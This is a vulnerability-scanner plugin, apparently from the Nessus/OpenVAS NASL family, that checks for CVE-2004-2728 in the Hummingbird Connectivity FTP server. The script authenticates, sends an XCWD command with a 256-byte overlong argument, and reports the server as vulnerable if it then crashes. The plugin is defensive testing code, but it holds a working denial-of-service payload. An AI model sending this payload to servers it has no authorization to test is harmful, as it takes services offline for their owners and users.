#
#  This script was written by David Maciejak <david dot maciejak at kyxar dot fr>
#  based on work from
#  (C) Tenable Network Security
#
#  Ref:  CESG Network Defence Team  - http://www.cesg.gov.uk/
#
#  This script is released under the GNU GPL v2
#

if(description)
{
 script_id(15613);
 script_tag(name:"cvss_base", value:"3.5");
 script_cve_id("CVE-2004-2728");
 script_bugtraq_id(11542);
 script_xref(name:"OSVDB", value:11133);
 script_version ("$Revision: 8231 $");
 script_tag(name:"risk_factor", value:"Medium");

 name = "Hummingbird Connectivity FTP service XCWD Overflow";

 script_name(name);
 
 desc = "
The remote host is running the Hummingbird Connectivity FTP server.

It was possible to shut down the remote FTP server by issuing
a XCWD command followed by a too long argument.

This problem allows an attacker to prevent the remote site
from sharing some resources with the rest of the world.

Solution : Upgrade to a newer version when available
Risk factor : High";

 script_description(desc);
 
 summary = "Attempts a XCWD buffer overflow";
 script_summary(summary);
 
 script_category(ACT_DENIAL);
  
 script_copyright("This script is Copyright (C) 2004 David Maciejak");
 family = "Denial of Service";
 script_family(family);
 script_dependencie("find_service.nes", "secpod_ftp_anonymous.nasl",
 		    "ftpserver_detect_type_nd_version.nasl");
 script_require_keys("ftp/login");
 script_require_ports("Services/ftp", 21);
 
 exit(0);
}

#
# The script code starts here
#

include("ftp_func.inc");
port = get_kb_item("Services/ftp");
if(!port)port = 21;

login = get_kb_item("ftp/login");
password = get_kb_item("ftp/password");

if(get_port_state(port))
{
 soc = open_sock_tcp(port);
 if(soc)
 {
      if(ftp_authenticate(socket:soc, user:login, pass:password))
      {
   	s = string("XCWD ", crap(256), "\r\n");
   	send(socket:soc, data:s);
   	r = recv_line(socket:soc, length:1024);
   	close(soc);
       
        soc = open_sock_tcp(port);
        if(!soc)
        {
          security_warning(port);
     	  exit(0);
        }
      }
      close(soc);
 }
}
